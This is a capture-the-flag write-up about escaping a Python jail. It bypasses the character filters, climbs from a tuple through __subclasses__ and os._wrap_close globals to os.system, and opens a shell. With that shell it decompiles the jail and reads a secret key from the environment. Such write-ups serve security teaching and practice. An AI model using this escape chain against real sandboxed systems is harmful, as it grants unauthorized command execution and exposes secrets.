Tags: pyjail
Rating:
We are in a Python jail, which tells us we need to call exit()
with
a parameter to escape. After trying a few things, we run into several
restrictions:
.
characters are filtered out,__
are filtered out (but not _
),"
, andThe underscore and period filtering are applied in the wrong order, so
we can bypass the underscore check and read __builtins__
by running:
>>> _._builtins_._
{'exit': <function exit at 0x7f4964724950>, 'getattr': <built-in function getattr>, 'print': <built-in function print>}
Now we know that we have getattr
available, which lets us avoid
using .
to access attributes. We can start from a simple tuple
object (()
), climb up the hierarchy to get to the object
class and
see which subclasses we can work with here. To avoid the 12-character
limit, we will alias everything to single-character names and use
variables to store long string parameters:
e=exit
p=print
u='_._'
c=u+'class'+u
b=u+'base'+u
s=u+'subcla'
s=s+'sses'+u
t=g((),c) # ().__class__
o=g(t,b) # ... .__base__
x=g(o,s) # ... .__subclasses__
Now, if we print x()
, we will see a list of classes we can reach.
One interesting option is os._wrap_close
, which will let us access
the os
module to get to system
. It is at index 127
, so:
w=x()[127] # os._wrap_close
i=u+'init'+u
l=u+'glob'
l=l+'als'+u
z=g(w,i) # ... .__init__
a=g(z,l) # ... .__globals__
s=a['system'] # ... ['system']
Now all that remains is to call s('sh')
to get a shell. This lets us
read the compiled jail shell jail.pyc
, which we can decompile using
uncompyle6
and read the exit()
check:
def exit(arg):
"""Must invoke with the right arg in order to get the flag."""
if arg == os.environ['0f4d0db3668dd58cabb9eb409657eaa8']:
print('Oh no ! You managed to escape\nValidate with the key')
return sys.exit(0)
print('Wrong key')
All that remains is to read the key from the environment variable.
Since we already have a shell available, we can just run env
and get
the flag.